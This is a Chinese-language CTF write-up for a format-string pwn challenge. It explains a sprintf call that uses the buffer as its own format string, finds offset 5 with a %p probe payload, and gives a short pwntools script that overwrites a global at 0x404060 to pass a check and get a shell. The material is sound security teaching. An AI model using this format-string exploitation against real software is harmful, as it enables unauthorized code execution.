0xPwn3_fmt

1000x_ 2026-05-21 11:31:28 13 0 返回题目详情


分析sub_401192(),其中的sprintf()是将格式化数据输到特定数组或变量中的函数,其参数顺序为:目标  -->  格式  -->  数据。

参数1:输出目的地,该变量为全局变量,内存地址为 0x404080

参数2:buf =  格式化字符串模板,函数会解析buf内的内容,里面的 %s、%x等都会被当作格式指令

参数3:buf = 填充数据

简单翻译就是:用buf作为格式化模板,再将buf本身的数据用buf的格式模板格式化,得到的结果输出到format

所以该函数存在格式化字符串的漏洞,可以通过利用该漏洞修改unk_404060变量的值,绕过if语句


但在实际的偏移测试中,可以看到程序没有给出回显


虽然没有回显,但是可以通过枚举偏移或者动态调试的方式去确认偏移

因为sprintf()有三个参数,并且在amd64的程序中,参数是通过寄存器传递的,所以可以依次查看  RDI、RSI和RDX寄存器判断偏移

偏移测试payload:aaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p


执行前查看RDI寄存器的情况,可以看到其值为0


单步执行后再次查看,可以看到,格式化字符串偏移为5


后续就可以通过利用格式化字符串漏洞getshell


Exploit:

from pwn import *
context(arch='amd64', os='linux')
p = remote("49.232.142.230", 14699)
# p = process("./pwn")
offset = 5
payload = fmtstr_payload(offset, {0x404060 : b"FMYY"})
p.sendline(payload)
p.interactive()

分类:PWN
image
作者:1000x_

12

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 2年前
问题反馈